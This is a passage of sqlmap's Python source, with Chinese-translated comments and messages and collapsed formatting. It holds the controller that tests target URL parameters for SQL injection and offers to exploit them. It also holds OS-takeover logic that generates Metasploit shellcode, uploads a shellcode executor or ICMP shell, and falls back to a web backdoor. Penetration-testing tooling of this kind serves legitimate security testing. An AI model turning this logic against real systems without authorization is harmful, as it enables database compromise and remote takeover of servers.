elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms( DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "要使用web后门建立隧道" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: #Unset --priv-esc如果后端DBMS底层操作系统不是Windows conf.privEsc = False warnMsg = "当后台DBMS底层系统不是Windows时,sqlmap不实现任何操作系统用户权限升级技术" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web)
def start(): """ 此函数调用一个功能,对URL稳定性和所有GET,POST,Cookie和User-Agent参数进行检查, 以检查它们是否为动态且SQL注入受影响。 """ if conf.direct: initTargetEnv() #完成全局变量conf和kb的初始化工作 setupTargetEnv() #完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息 action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = u"您没有正确编辑配置文件,请设置 " errMsg += u"目标网址,目标清单或Google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = u"sqlmap共有%d个目标" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: if conf.checkInternet: infoMsg = u"[信息] 检查互联网连接" logger.info(infoMsg) if not checkInternet(): warnMsg = u"[%s] [警告] 没有检测到连接" % time.strftime("%X") dataToStdout(warnMsg) while not checkInternet(): dataToStdout('.') time.sleep(5) dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper( ) if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any( [conf.data, conf.testParameter]): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = u"已经针对'%s'检测到SQL注入漏洞。 " % conf.hostname message += u"你想跳过进一步的测试吗? [Y/n]" kb.skipVulnHost = readInput(message, default='Y', boolean=True) testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = u"跳过'%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ( (conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += u"\n你想测试这个表单吗? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': continue elif choice == 'Q': break else: if conf.method != HTTPMETHOD.GET: message = u"编辑 %s 数据 [默认值: %s]%s: " % ( conf.method, urlencode(conf.data) if conf.data else "None", "(警告:检测到空白字段)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode( conf.data) if conf.data and urlencode( DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = u"编辑GET数据 [默认值: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() else: message += u"\n你想测试这个URL吗? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': dataToStdout(os.linesep) continue elif choice == 'Q': break infoMsg = u"测试目标URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue checkWaf() if conf.identifyWaf: identifyWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not any( (conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # 注意:这不再需要, # 只有在页面不稳定的情况下才向用户显示警告消息 checkStability() # 对可测试参数列表进行一些优先级排序 parameters = conf.parameters.keys() # 测试列表顺序(从头到尾) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # 只有--level> = 3时,才测试User-Agent和Referer头 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # 只有--level >= 5时,才测试主机头 skip |= (place == PLACE.HOST and conf.level < 5) # 只有--level> = 2时,才测试Cookie header skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect( PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect( PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect( HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect( (PLACE.COOKIE, ), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in ( PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in ( None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = u"跳过以前处理的%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = u"跳过随机的%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split( ' ')[-1] in conf.skip: testSqlInj = False infoMsg = u"跳过%s个参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif conf.paramExclude and ( re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False infoMsg = u"跳过%s个参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter == conf.csrfToken: testSqlInj = False infoMsg = u"跳过anti-CSRF token参数'%s'" % parameter logger.info(infoMsg) # 忽略--level < 4 的会话类参数 elif conf.level < 4 and ( parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith( GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = u"忽略%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = u"%s参数'%s'似乎不是动态的" % (paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = u"跳过静态%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = u"%s参数'%s'是动态的" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection( place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or ( kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = u"跳过%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) continue infoMsg = u"在%s参数'%s'上测试SQL注入" % (paramType, parameter) logger.info(infoMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # 如果用户想要结束检测阶段(Ctrl + C) if not proceed: break msg = u"%s 参数 '%s' " % ( injection.place, injection.parameter) msg += u"很容易受到攻击,你想继续测试其他的参数吗(如果有的话)? [y/N] " if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = u"%s参数'%s'似乎不能注入 " % (paramType, parameter) logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = u"在提供的数据中没有找到用于测试的参数" errMsg += u"(例如 www.site.com/index.php?id=1 中的GET参数'id')" raise SqlmapNoneDataException(errMsg) else: errMsg = u"所有测试参数似乎都不可注入," if conf.level < 5 or conf.risk < 3: errMsg += u"尝试增加'--level'/'--risk'值进行更多测试," if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += u"重新运行不提供选项“--technique”" if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += u"如果目标页面的文本内容比例很低" # Python输出两位小数的百分数 # 由于%在string format中是特殊符号,所以使用%%才输出% errMsg += u"(页面内容的~%.2f%%是文本)则可以使用'--text-only'来切换" % percent elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: # 当页面文本内容小于20%时 errMsg += u"请使用选项'--text-only'(连同 --technique=BU)重试" errMsg += u"因为这种情况看起来是一个完美的备用计划" errMsg += u"(文本内容较少,以及比较引擎无法检测到至少一个动态参数)" if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += u"从启发式测试结果来看,还是有希望的," errMsg += u"强烈建议您继续进行测试," errMsg += u"请考虑使用tamper脚本,因为您的目标可能会过滤查询," if not conf.string and not conf.notString and not conf.regexp: errMsg += u"此外,您可以尝试通过提供选项'--string'" errMsg += u"(或'--regexp')的有效值来重新运行," elif conf.string: errMsg += u"此外,您可以尝试通过提供'--string'选项的有效值来重新运行," errMsg += u"也许您选择的字符串不完全匹配True响应" elif conf.regexp: errMsg += u"此外,您可以尝试通过为选项'--regexp'提供有效值来重新运行," errMsg += u"也许您所选择的正则表达式不完全匹配True响应" if not conf.tamper: errMsg += u"如果您怀疑有某种保护机制(例如 WAF),\r\n您可以使用选项'--tamper'重试 " errMsg += u"(例如 '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = u"你想利用这个SQL注入吗? [Y/n] " condition = readInput(message, default='Y', boolean=True) else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = u"用户在多目标模式下中止" logger.warn(warnMsg) message = u"你想跳到列表中的下一个目标吗? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': return False elif choice == 'Q': raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += u", 跳到下一个%s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally: